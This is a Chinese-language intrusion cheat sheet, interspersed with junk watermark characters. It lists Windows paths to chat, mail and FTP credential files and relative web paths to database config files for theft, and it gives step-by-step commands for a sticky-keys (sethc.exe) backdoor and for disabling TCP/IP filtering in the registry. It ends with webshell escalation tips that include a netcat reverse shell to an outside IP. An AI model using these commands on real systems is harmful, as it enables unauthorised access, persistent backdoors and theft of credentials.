  A9 }- L; m5 V& F& V9 LC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
" J3 P% v) Z: p4 h2 O' c% M/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
  H, \6 V6 @' z) I5 B: G9 C, }  sc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
9 I& H; d+ f; Lc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
1 o5 |) f0 j7 O) sc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
; |- e" M8 H0 Y  i" q3 PC:\Program Files\LeapFTP 3.0\LeapFTP.exe
' I$ I, \4 p3 d0 ~' ?8 KC:\Program Files\LeapFTP\LeapFTP.exe
, z7 y. Q' q8 Z: yc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
! t* j; q* c2 e8 H. A# jC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
4 S( h6 ]! l1 q" g* x6 YC:\Program Files\StormII\Storm.exe

7 `9 M+ P8 n1 k0 Y1 n3.网站相对路径:
4 B; w% n7 u; ^; Y
! T; {: F6 l. x- C1 I/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
, t7 S( [+ T- T  ]) d# ?  q./config.inc.php
8 |/ j1 S. I: w../../config.inc.php
; A" m0 D; D) \2 x% |- l3 o! f../config.inc.php
8 _) w2 o5 r* k& ?1 g2 ^" ?2 s: |: ^../../../config.inc.php
/conn.php
& ^+ P/ p8 h- L7 ]: t./conn.php
& L! b) ~3 Q3 t! L6 h../../conn.php
../conn.php
* p1 Q1 y0 X1 t* D../../../conn.php
/conn.asp
./conn.asp
+ U- }; J: Y1 ?../../conn.asp
../conn.asp
' V$ G% G2 c1 v- q  ]../../../conn.asp
/config.inc.php
  K+ a3 u2 i) z+ x- u3 u./config.inc.php
8 _: K( U9 h' l$ D' R) l# ?../../config.inc.php
8 P7 W" x9 T# s9 ]8 F# P../config.inc.php
/ e! u0 a1 Z$ `2 d3 ~6 _../../../config.inc.php
/config/config.php
  h8 x' Z. x/ F3 k; g7 t../../config/config.php
../config/config.php
4 k0 _* N+ m( b, ?4 n( b6 E../../../config/config.php
* ]4 x  I5 U3 O$ U$ S6 ~/config/config.inc.php
./config/config.inc.php
2 R8 a3 K4 X( M- F../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
' s1 R4 l6 W) O* B./config/conn.php
../../config/conn.php
../config/conn.php
4 l2 S/ ?% y7 v. B$ J% t../../../config/conn.php
/config/conn.asp
./config/conn.asp
8 e- d9 p! v+ y8 I0 a7 c; Q- ]../../config/conn.asp
/ w7 Z/ q( g& Q8 k" v( W, E9 `4 R0 F../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
2 I- J  W! I( L2 E1 j./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
( ?$ m% f! k/ a- r0 s../../../config/config.inc.php
/data/config.php
0 }8 S7 c$ R5 H' y5 h0 i../../data/config.php
6 D; ~( }+ B/ }, S../data/config.php
% ~* @$ Q5 C. z' q+ G5 ^  I+ S../../../data/config.php
8 r" b/ {0 T, I" t* T: Z. H/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
: ^+ U1 N* Z) P* S: ]/data/conn.php
) R% W) @: N- _2 `3 u' U./data/conn.php
../../data/conn.php
5 ^1 n$ f5 W6 y2 R../data/conn.php
../../../data/conn.php
/data/conn.asp
: v/ K* i0 e) \/ G./data/conn.asp
8 m* G; ^) ^7 D7 J! J; j" x$ n& c../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
1 C8 N, O# w- Y% ^2 R1 c; T/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
2 a- R# t7 u* Y' a../../../data/config.inc.php
3 ^' a5 E) ^+ L) n; A. q+ i/include/config.php
../../include/config.php
6 S, e/ q' Y+ y6 f; q- k) I../include/config.php
4 k( k, w  Z4 u0 S! X; e../../../include/config.php
/include/config.inc.php
./include/config.inc.php
( j, F% a7 r/ y) H. c../../include/config.inc.php
9 E& D0 ^" X1 ?! g../include/config.inc.php
../../../include/config.inc.php
0 ~- u5 P4 Y) m) r' A/include/conn.php
./include/conn.php
& D& Z  B, r1 L  u4 F' ?/ `../../include/conn.php
../include/conn.php
- T- \8 i! ]  W: g' K../../../include/conn.php
3 g  e0 s- D7 ^# H, v5 k9 _/include/conn.asp
- Q1 e: \. \# I" `1 K7 T1 }./include/conn.asp
../../include/conn.asp
4 L1 D+ t* t5 A  x../include/conn.asp
1 p& @6 U; o7 f../../../include/conn.asp
/include/config.inc.php
! V+ v' R* o) f* z; a9 v. X5 |$ E./include/config.inc.php
) I5 y3 y2 x! ~' m7 V+ i../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
, P9 Z# `/ U: x; f6 B" N/inc/config.php
) \* b7 R4 k' Z4 X! v( u../../inc/config.php
../inc/config.php
../../../inc/config.php
3 i0 N& a$ x. |/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
# E) ^: G2 u1 _+ [  o2 f5 e../inc/conn.php
../../../inc/conn.php
% d9 ?% Q7 l+ s3 S9 m/inc/conn.asp
./inc/conn.asp
4 |$ W/ R) S- ~/ r7 a/ F../../inc/conn.asp
" G9 {  _& Q9 I../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
3 W+ R/ V/ @1 }% O6 ~  s./inc/config.inc.php
../../inc/config.inc.php
$ z5 ~  f1 P: M( T../inc/config.inc.php
9 K& [7 E9 a- L../../../inc/config.inc.php
/index.php
- x' O. r& T- l7 y./index.php
- X; S' m2 s7 d. X  G) V* U+ Z1 S. G../../index.php
../index.php
, {( O9 m, @9 Y7 n3 e) n. k/ B../../../index.php
/index.asp
1 Y+ }6 }* {% y  q2 H' B./index.asp
../../index.asp
% M5 [$ x  }2 ?../index.asp
../../../index.asp
, i+ ?+ }) l: `4 i/ B替换SHIFT后门
* h3 S/ A( b) n& i5 {# n! I　attrib c:\windows\system32\sethc.exe -h -r -s

. ^; c6 x1 W- f7 M' ]' U& m6 ^　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# Z# g: I( `" g3 \# m0 |* d+ h
0 V% X( Q+ l1 I$ S/ f　　del c:\windows\system32\sethc.exe
, R0 j1 \1 i$ C% O+ v9 f' h0 k. Z1 G
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
5 a9 I, m: e5 a0 Z4 C8 [
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

7 l' l# y7 e" ^6 Z9 T: E1 v　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
7 w2 o7 f3 D) }/ s* J- E6 f去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
& [% n' d. v) e6 mHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; J( |$ ?5 W9 _  s9 {: gHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ ]! N. M0 V6 c/ _
: `4 c# i0 K+ q" _分别用
) S- l% P6 X8 @! V) T# lregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
& O: g8 X( a5 l, v& ^regedit -s D:\a.reg
regedit -s D:\b.reg
6 U* A: S# }/ \* X2 \3 Kregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
  H1 p- E/ ?6 P& E* k, scmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功